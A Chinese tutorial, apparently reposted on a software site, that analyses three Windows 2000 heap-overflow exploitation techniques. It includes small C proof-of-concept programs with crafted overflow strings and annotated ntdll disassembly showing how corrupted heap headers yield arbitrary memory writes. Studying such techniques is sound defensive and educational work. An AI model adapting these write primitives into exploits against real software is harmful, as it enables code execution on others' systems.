总结windows下堆溢出的三种利用方式 |
1.利用RtlAllocHeap 这是ISNO提到的,看这个例子 main (int argc, char *argv[]) { char *buf1, *buf2; char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21"; buf1 = (char*)malloc (32); /* 分配两块内存 */ memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */ buf2 = (char*)malloc (16); free (buf1); free (buf2); return 0; } 在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样 buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes) 在给buf2完成malloc之后,buf1指向的内存分配情况是这样 buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes) 现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了 下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes) 共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码 001B:77FCC453 8901 MOV [ECX],EAX 001B:77FCC455 894804 MOV [EAX+04],ECX 此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会 2.利用RtlFreeHeap的方式一 这是ilsy提到的,看例子 main (int argc, char *argv[]) { char *buf1, *buf2; char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09"; buf1 = (char*)malloc (32); /* 分配两块内存 */ buf2 = (char*)malloc (16); memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */ free (buf1); free (buf2); return 0; } 由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的 先看看8字节管理结构的定义(从windows源码中找到) typedef struct _HEAP_ENTRY { // // This field gives the size of the current block in allocation // granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT // equals the size in bytes). // // Except if this is part of a virtual alloc block then this // value is the difference between the commit size in the virtual // alloc entry and the what the user asked for. // USHORT Size; // // This field gives the size of the previous block in allocation // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT // equals the size of the previous block in bytes). // USHORT PreviousSize; // // This field contains the index into the segment that controls // the memory for this block. // UCHAR SegmentIndex; // // This field contains various flag bits associated with this block. // Currently these are: // // 0x01 - HEAP_ENTRY_BUSY // 0x02 - HEAP_ENTRY_EXTRA_PRESENT // 0x04 - HEAP_ENTRY_FILL_PATTERN // 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC // 0x10 - HEAP_ENTRY_LAST_ENTRY // 0x20 - HEAP_ENTRY_SETTABLE_FLAG1 // 0x40 - HEAP_ENTRY_SETTABLE_FLAG2 // 0x80 - HEAP_ENTRY_SETTABLE_FLAG3 // UCHAR Flags; // // This field contains the number of unused bytes at the end of this // block that were not actually allocated. Used to compute exact // size requested prior to rounding requested size to allocation // granularity. Also used for tail checking purposes. // UCHAR UnusedBytes; // // Small (8 bit) tag indexes can go here. // UCHAR SmallTagIndex; #if defined(_WIN64) ULONGLONG Reserved1; #endif } HEAP_ENTRY, *PHEAP_ENTRY; 就是 本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte) 注意这里的size是实际大小进行8字节对齐后除以8的值 可以看看flag的各个定义 再看看RtlFreeHeap里面几个关键的地方 关键点一 001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag 001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY 001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳 001B:77FCC834 F6C207 TEST DL,07 001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8 001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40 001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳 001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01 001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3 001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要 001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580] 001B:77FCC855 85C9 TEST ECX,ECX 001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳 关键点二 001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001 001B:77FCC8A0 F6C301 TEST BL,01 001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳 001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578] 001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection 001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01 001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC 001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳 关键点三 001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的 001B:77FCBB4C 89759C MOV [EBP-64],ESI 001B:77FCBB4F 8B06 MOV EAX,[ESI] 001B:77FCBB51 894598 MOV [EBP-68],EAX 001B:77FCBB54 8B7604 MOV ESI,[ESI+04] 001B:77FCBB57 897594 MOV [EBP-6C],ESI 001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常 我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后 的数据所指向的地址。我们可以控制这两个数据。 可见第二种方式的前提有三个: 1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff 2)构造堆的flag前面那个字节要比0x40小 3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败 还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用 3.利用RtlFreeHeap的方式二 这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。 看例子 main (int argc, char *argv[]) { char *buf1, *buf2; char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22"; buf1 = (char*)malloc (32); /* 分配两块内存 */ buf2 = (char*)malloc (16); memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */ free (buf1); free (buf2); return 0; } 看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点 关键点一 同方式二的关键点一,设法跳到关键点二 关键点二 001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001 001B:77FCC8A0 F6C301 TEST BL,01 001B:77FCC8A3 750F JNZ 77FCC8B4 001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578] 001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection 001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01 001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC 001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里不能跳 001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI] 001B:77FCC8C1 8945D0 MOV [EBP-30],EAX 001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80 001B:77FCC8C8 7515 JNZ 77FCC8DF 001B:77FCC8CA 6A00 PUSH 00 001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30] 001B:77FCC8CF 50 PUSH EAX 001B:77FCC8D0 56 PUSH ESI 001B:77FCC8D1 57 PUSH EDI 001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //进入这个CALL 关键点三 001B:77FCC9C1 55 PUSH EBP 001B:77FCC9C2 8BEC MOV EBP,ESP 001B:77FCC9C4 53 PUSH EBX 001B:77FCC9C5 56 PUSH ESI 001B:77FCC9C6 8B750C MOV ESI,[EBP+0C] 001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08] 001B:77FCC9CC 57 PUSH EDI 001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址 001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //将buf1之前的堆的长度放入EAX 001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到实际大小 001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址 001B:77FCC9D8 3BFE CMP EDI,ESI 001B:77FCC9DA 740A JZ 77FCC9E6 001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一个堆的flag是否含HEAP_ENTRY_BUSY 001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳 001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY 001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳 001B:77FCC9EC 8B4510 MOV EAX,[EBP+10] 001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的长度 001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY 001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址 001B:77FCC9F9 7409 JZ 77FCCA04 //不含则跳(合并空闲堆?),这里要跳 001B:77FCC9FB 8BC6 MOV EAX,ESI 001B:77FCC9FD 5F POP EDI 001B:77FCC9FE 5E POP ESI 001B:77FCC9FF 5B POP EBX 001B:77FCCA00 5D POP EBP 001B:77FCCA01 C21000 RET 0010 001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的长度 001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的长度 001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大于0xfe00 001B:77FCCA0F 77EA JA 77FCC9FB //大于则跳,这里不能跳 001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00 001B:77FCCA15 0F85FB210000 JNZ 77FCEC16 001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag 001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY 001B:77FCCA20 A810 TEST AL,10 001B:77FCCA22 884605 MOV [ESI+05],AL //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY 001B:77FCCA25 754B JNZ 77FCCA72 //含则跳,这里不能跳 001B:77FCCA27 57 PUSH EDI 001B:77FCCA28 53 PUSH EBX 001B:77FCCA29 E80CCBFBFF CALL 77F8953A 001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //将buf2的0x0c偏移给ECX 001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //将buf2的0x08偏移给EAX 001B:77FCCA34 3BC1 CMP EAX,ECX 001B:77FCCA36 8901 MOV [ECX],EAX //这里发生异常 001B:77FCCA38 894804 MOV [EAX+04],ECX 方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的 001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三) 发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。 可见方式三的前提有三个 1)构造堆(buf2)的长度不能为0 2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后) 3)构造堆的flag不能包含HEAP_ENTRY_BUSY 除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign 溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。 //更正一下,以上程序在.net平台下编译有效,VC++6.0编译是不能溢出的。可能是两种编译器对malloc的实现方式不同。vc的编译器实现malloc的时候并没有真正调用RtlFreeHeap或RtlAllocHeap函数,造成溢出失败。改成HeapAlloc就可以了 |
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3
最新文章
微信3.6.0测试版更新了微信支付漏洞会造成哪
360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗
人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本
查看所有0条评论>>